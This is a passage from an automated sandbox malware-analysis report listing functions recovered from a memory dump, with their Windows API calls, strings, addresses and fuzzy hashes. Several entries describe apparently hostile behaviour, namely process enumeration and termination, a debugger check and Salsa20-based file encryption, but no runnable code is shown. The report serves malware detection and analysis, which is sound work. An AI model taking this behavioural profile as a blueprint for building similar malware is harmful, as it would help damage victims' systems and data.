Part of subcall function 00791AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00790346
_memmove.LIBCMT ref: 00790427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0079048E
_memmove.LIBCMT ref: 00790514

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5ab5ab8db5df0b718f9e297aaefbb1322c19f1f1864c09f36e11cbf1f97c58f4
Instruction ID: 2805b59c25efdbf47d7a5fa250080b190b8d23fb10ee5eff4475e558dadfda3c
Opcode Fuzzy Hash: 5ab5ab8db5df0b718f9e297aaefbb1322c19f1f1864c09f36e11cbf1f97c58f4
Instruction Fuzzy Hash: 6942BE70D10208DFDF10DFA8D889BEEB7F5BF05308F204169E415A7252EB79AA15CBA1

Function 0078FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0078FBD5
_memmove.LIBCMT ref: 0078FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0078FC63
_malloc.LIBCMT ref: 0078FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0078FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0078FCA5
_free.LIBCMT ref: 0078FCD7

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 820b9a91d26a64f52b3e602a17955f35f954b75a8cfcf5b7befd97dd1e41dd23
Instruction ID: d88cb346c047f39a1e35442e132c9629666f8511f4a682900b6c9f787d04696f
Opcode Fuzzy Hash: 820b9a91d26a64f52b3e602a17955f35f954b75a8cfcf5b7befd97dd1e41dd23
Instruction Fuzzy Hash: DFB19E70D10208DBDF20EFA4DC59BDEB7B5BF15308F1041A9E409AB252EB399A45CFA1

Function 00792440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0079244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00792469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 007924A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 007924B0
CloseHandle.KERNEL32(00000000), ref: 007924B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 007924C1
CloseHandle.KERNEL32(00000000), ref: 007924CD

Strings

cmd.exe, xrefs: 00792486

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: d4cc4d93a669afa38876003755c45c34474c07ee6dd3a0d35a5d736739e3cee8
Instruction ID: a47a9db78efe902b824de77250812918415508e50d5251480682f038e705ba94
Opcode Fuzzy Hash: d4cc4d93a669afa38876003755c45c34474c07ee6dd3a0d35a5d736739e3cee8
Instruction Fuzzy Hash: 160152355022157BEB606BA0BC8DFAE766CEB49755F000151FD08D2152E7689D458AA1

Function 00781000 Relevance: 7.6, Strings: 6, Instructions: 119COMMON

Download Yara Rule

Strings

ineI, xrefs: 00781032
Auth, xrefs: 0078104A
Genu, xrefs: 00781027
ntel, xrefs: 0078103D
cAMD, xrefs: 00781060
enti, xrefs: 00781055

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID: Auth$Genu$cAMD$enti$ineI$ntel
API String ID: 0-1714976780
Opcode ID: 5f5d6626ad0f6917a330496c5e5681d55bc31fb8fcfe0306b7157049ee0a44b3
Instruction ID: 8667ee387bb5dce20a17dafb988baa3af557d027629a8ce3a6deb65b9c8d5e03
Opcode Fuzzy Hash: 5f5d6626ad0f6917a330496c5e5681d55bc31fb8fcfe0306b7157049ee0a44b3
Instruction Fuzzy Hash: FF312567E9055A0AFB7878789C4937D208B9391370FAACB39D227C35D6E86D8DC25350

Function 007B82A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,007B8568,?,00000000), ref: 007B82E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,007B8568,?,00000000), ref: 007B8310

Strings

ACP, xrefs: 007B82B3
OCP, xrefs: 007B82C4

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 650d47c9fc08d0a597c8fc2012f4961ffc915e841f98c1b56b6c8dea90cd13b5
Instruction ID: 4e40c5fd9a5d19b2aee5beae9fa36ad28fccbd205638bf053a9c56009248577a
Opcode Fuzzy Hash: 650d47c9fc08d0a597c8fc2012f4961ffc915e841f98c1b56b6c8dea90cd13b5
Instruction Fuzzy Hash: CF01B535205615AADBA0AF58DC09FDA37DCBF05B61F108015F908DB491EF78DA40C7D5

Function 0078C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0078C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0078C090
input != nullptr && output != nullptr, xrefs: 0078C095

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: e4f9bc9786b1f5833c9a85256619a48f6691e1b6a64fcadc2509b5ccafcb19b5
Instruction ID: 1dd5dc9becb3ef8f9ee00f8e9b47b873288cd9b0cf39dcfe9cd190e4087c0d71
Opcode Fuzzy Hash: e4f9bc9786b1f5833c9a85256619a48f6691e1b6a64fcadc2509b5ccafcb19b5
Instruction Fuzzy Hash: 54C19CB5E003099FCB54DFA9C885ADEFBF1FF48300F24856AE919E7201E334AA458B54

Function 007A4168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 007A419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 007A4252

Strings

i;z, xrefs: 007A4168

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;z
API String ID: 2328436684-874864295
Opcode ID: 1fe0a226759a132e615d5bd36feee61a769f3ce08c483edce7bfc4472f7b15fa
Instruction ID: 62e6f797ca277219ce5782f780affefefbb880a3f4b8c10a3fa54bdef47e3444
Opcode Fuzzy Hash: 1fe0a226759a132e615d5bd36feee61a769f3ce08c483edce7bfc4472f7b15fa
Instruction Fuzzy Hash: B931D37491122CDBCB61DF68D8887C8BBB8BF48310F5042EAE80CA6251EB749F858F45

Function 00791178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00791190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 007911A0

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 20b021837a81df00ed43b6dbf6927d21a47d6aef40272618283b3174a1f3d4f5
Instruction ID: c8ad9e594ff3b60f7e7729aaa2b9a3ba07618cce360f8e811b6cd4e497db86a9
Opcode Fuzzy Hash: 20b021837a81df00ed43b6dbf6927d21a47d6aef40272618283b3174a1f3d4f5
Instruction Fuzzy Hash: B0E04C78F8030AA7EF509A79AC49B6A76AC7B15745F844524FA11E2241D62CD811C521

Function 0078EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0078EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0078EA79

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: bab460ca4bb1d587dedf60b0c2562255c2dc7f7f40eb61f5bf55953d6be13f82
Instruction ID: d2f917fe8ddc6e05fd53446899d3cb0d9d5fd91c48fbefd1b306427513bc5bc2
Opcode Fuzzy Hash: bab460ca4bb1d587dedf60b0c2562255c2dc7f7f40eb61f5bf55953d6be13f82
Instruction Fuzzy Hash: F5E042B8F8020997DF54EBB99C49B6A76ACBB15B45B448424F805E2255DB2CDD00CA22

Function 0078EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0078EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0078EC90

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 797a4fe6ffd0807cc4f49521d771ea800664ac91930fc844fab1a86c8b91568e
Instruction ID: 096759eb6f47a4e965ed439665a4ed6acbbd1c8364503f0ea4a845da18c07dec
Opcode Fuzzy Hash: 797a4fe6ffd0807cc4f49521d771ea800664ac91930fc844fab1a86c8b91568e
Instruction Fuzzy Hash: DFE042B8F8031597EF60EAB99D49B6A76ACBB05745F440524F915E2281EB2CD800CB31

Function 007B29EC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,007A4266,?,?,?,00000001), ref: 007B29F1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 007B29FA

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 20544aff69b080a0ac8859687328d4e617af7c0e4e2b1646494c7d83141d217c
Instruction ID: 4f1760b9a33cbbdf023dc49342ea1fe85f288c432e8cb6d2ba239de2cde14cba
Opcode Fuzzy Hash: 20544aff69b080a0ac8859687328d4e617af7c0e4e2b1646494c7d83141d217c
Instruction Fuzzy Hash: 04B09235045208ABDA802B91EC09B883F2CFB16A62F004012F60D44062AB625450CE91

Function 007B87C8 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(007B87B4,00000001,?,007B76BC,007B775A,00000003,00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 007B87F6

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 057eabb561dbacfba3da41c657bd2e60f96b74ed40f0414c7f6f52c7dc9f1df1
Instruction ID: 416e8efa08f0414a5822aa8626a42b3f57802c87a1788be777774b8201934f18
Opcode Fuzzy Hash: 057eabb561dbacfba3da41c657bd2e60f96b74ed40f0414c7f6f52c7dc9f1df1
Instruction Fuzzy Hash: EDE08C32154308FBDF52DFE4EC85BD83BB9BB08715F140016F50C8AAA0CBB9A460DB40

Function 007B884E Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,20001004,?,007A580F,?,007A580F,?,20001004,?,00000002,?,00000004,?,00000000), ref: 007B8875

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 033c83a1d00502c30e175db9ad129ba36f76de2885047a598270f0047c7712d3
Instruction ID: d9b67e70576a3ce2ab1067f6a012c5e2be2505e835f5c092bfe9742436268511
Opcode Fuzzy Hash: 033c83a1d00502c30e175db9ad129ba36f76de2885047a598270f0047c7712d3
Instruction Fuzzy Hash: 7ED01732004108FF9F419FE5EC49CAA3B6DFB08314B040401F91C85420DA3AA820DB22

Function 007B29BB Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,007B1DA6,007B1D5B), ref: 007B29C1

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 59bec5d03cb1424a31c18f172798f9f1b6d2912da361b87137b69ee1254ab1f7
Instruction ID: 062926f0692ab90e1b9488b866351f0c3977938870da72d378bfb3edd7bad01e
Opcode Fuzzy Hash: 59bec5d03cb1424a31c18f172798f9f1b6d2912da361b87137b69ee1254ab1f7
Instruction Fuzzy Hash: 9FA0223000020CFBCF002F82FC088883F2CFB022A0B008022FA0C00032EB33A820CEC0

Function 007A78D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(007A3FED,00887990,00000014), ref: 007A78D5

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3fb4fc41730a2898ec58f6b411cdd1c850dd6fe11a601f2509b4e96fd9b65163
Instruction ID: ffaf63d5a52cf44d719e3009272bc18a525c7b86719bf93a6ccd7afc9113318c
Opcode Fuzzy Hash: 3fb4fc41730a2898ec58f6b411cdd1c850dd6fe11a601f2509b4e96fd9b65163
Instruction Fuzzy Hash: A7B012B03061024B47080B387C1801935D8770830A304003EB007C5160DF70C420EE08

Function 00785457 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f70ee32f29c3a445e8bf8825cb3b7fb88f93eb638cfcec68bb1817abd0a0e43d
Instruction ID: 44a2558e02436fb104da8fa294dc3854d6464982656507d722ee81bb70c5eb61
Opcode Fuzzy Hash: f70ee32f29c3a445e8bf8825cb3b7fb88f93eb638cfcec68bb1817abd0a0e43d
Instruction Fuzzy Hash: E842AF71629F159BC3DAEF24C88055BF3E1FFC8218F048A1DD99997A50DB38F819CA91

Function 00789686 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ee869001894b31eb6a44389f20ee91511778584a8bc92acec2cb5dcd3339006
